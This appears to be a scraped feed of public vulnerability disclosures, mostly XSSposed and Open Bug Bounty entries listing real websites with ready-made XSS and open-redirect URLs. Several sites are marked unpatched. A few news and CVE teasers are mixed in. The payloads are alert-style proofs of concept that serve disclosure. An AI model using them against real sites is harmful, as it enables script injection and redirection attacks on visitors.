moebel-massiv.com XSS vulnerability

Vulnerable URL: https://www.moebel-massiv.com/?ActionCall=WebActionArticleSearch=0=60id=1class=6SearchInDescription=1SearchParam=asd"-alert"XSSPOSED"-"search.x=0search.y=0 Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 12:46 GMT Vulnerability...

cis.edu.sg XSS vulnerability

Vulnerable URL: http://www.cis.edu.sg/cfnews/forward.cfm?dest=javascript:alert/XSSPOSED/ Details: Description| Value ---|--- Patched:| Yes, at 11.04.2016 Latest check for patch:| 11.04.2016 15:27 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1002696 Google...

Someone Just Leaked Hard-Coded Password Backdoor for Fortinet Firewalls

Are millions of enterprise users, who rely on the next-generation firewalls for protection, actually protected from hackers? Probably Not. Just less than a month after an unauthorized backdoor found in Juniper Networks firewalls, an anonymous security researcher has discovered highly suspicious...

carvan.co.jp XSS vulnerability

Open Bug Bounty ID: OBB-122594 Description| Value ---|--- Affected Website:| carvan.co.jp Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

wiki.hobowars.com XSS vulnerability

Vulnerable URL: http://wiki.hobowars.com/thumb.php?f=xssposed%23%3Cbody%09onload=confirm%28String.fromCharCode%2888,83,83,80,79,83,69,68%29%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

morrissuntribune.com XSS vulnerability

Vulnerable URL: http://www.morrissuntribune.com/marketplaceoffers/category/Home%20Improvement%3Cimg%20src=x%20onerror=alert%28'XSSPOSED'%29%3E/ Details: Description| Value ---|--- Patched:| Yes, at 27.03.2016 Latest check for patch:| 27.03.2016 22:26 GMT Vulnerability type:| XSS Vulnerability...

Lockscreen delay bypass in Firefox OS — Mozilla

Frederik Braun of Mozilla discovered a bug in the lockscreen state logic that allows an attacker to bypass the lockscreen delay. The delay was introduced to make it harder to brute-force the passcode lock of a Firefox OS device when an attacker has gained physical access. A successful attack woul...

a-league.ge XSS vulnerability

Vulnerable URL: http://a-league.ge/ge/allgal.php?cat=23=2411'"/alert/xssposed/...

kanazuen.awa-nav.com Open Redirect vulnerability

Vulnerable URL: http://kanazuen.awa-nav.com/rank.php?mode=link=https://www.xssposed.org/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google...

Shopify: "Remember me" token generated when "Remember me" box unchecked

Hi, This is a weird behaviour which regenerates secureadminsessionid cookie Steps to Reproduce : 1. Navigate to https://www.shopify.com/login 2. Enter credentials 3. Enter two factor code from authenticator Check cookie, There should be cookie named userauthtoken. I believe this token is...

richdad.com XSS vulnerability

Vulnerable URL: http://www.richdad.com/CMSModules/BannerManagement/CMSPages/BannerRedirect.ashx?bannerID=94=data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTUE9TRUQvKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| Yes, at 10.03.2016 Latest check for patch:| 10.03.2016 07:59 GMT...

myhockeystore.com XSS vulnerability

Vulnerable URL: http://www.myhockeystore.com/requestitem.php?itemname=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 23.11.2017 Latest check for patch:| 23.11.2017 10:10 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...

storefront.unitednotions.com XSS vulnerability

Vulnerable URL: http://storefront.unitednotions.com/storefrontCommerce/search.do?searchType=keyword=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 11:06 GMT Vulnerability type:| XSS Vulnerability...

sm.ancestry.com Open Redirect vulnerability

Open Bug Bounty ID: OBB-115053 Description| Value ---|--- Affected Website:| sm.ancestry.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| Open Redirect / CWE-601 CVSSv3 Score:| 3.4...

202.157.135.81 XSS vulnerability

Vulnerable URL: http://202.157.135.81/popup/emailenquirynews.cfm?address=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

CVE-2015-6618

Bluetooth in Android 4.4 and 5.x before 5.1.1 LMY48Z allows user-assisted remote attackers to execute arbitrary code by leveraging access to the local physical environment, aka internal bug 24595992...

CVE-2015-6620

Android libstagefright vulnerabilities in mediaserver allow local privilege escalation to Signature or SignatureOrSystem for devices running before 5.1.1 LMY48Z and before 2015-12-01 for 6.0. Root cause: flaws in libstagefright enabling memory/logic errors during crafted media processing. Impact ...

sv.wikiloc.com XSS vulnerability

Vulnerable URL: http://sv.wikiloc.com/wikiloc/find.do?q="';-- Details: Description| Value ---|--- Patched:| Yes, at 01.03.2016 Latest check for patch:| 01.03.2016 18:22 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google Pagerank| 4 V...

dieteasily.com XSS vulnerability

Open Bug Bounty ID: OBB-114001 Description| Value ---|--- Affected Website:| dieteasily.com Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Remediation Guide:| OWASP XSS Prevention Cheat...

students.washington.edu XSS vulnerability

Vulnerable URL: http://students.washington.edu/uwultima/playerBio.php?firstName=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown...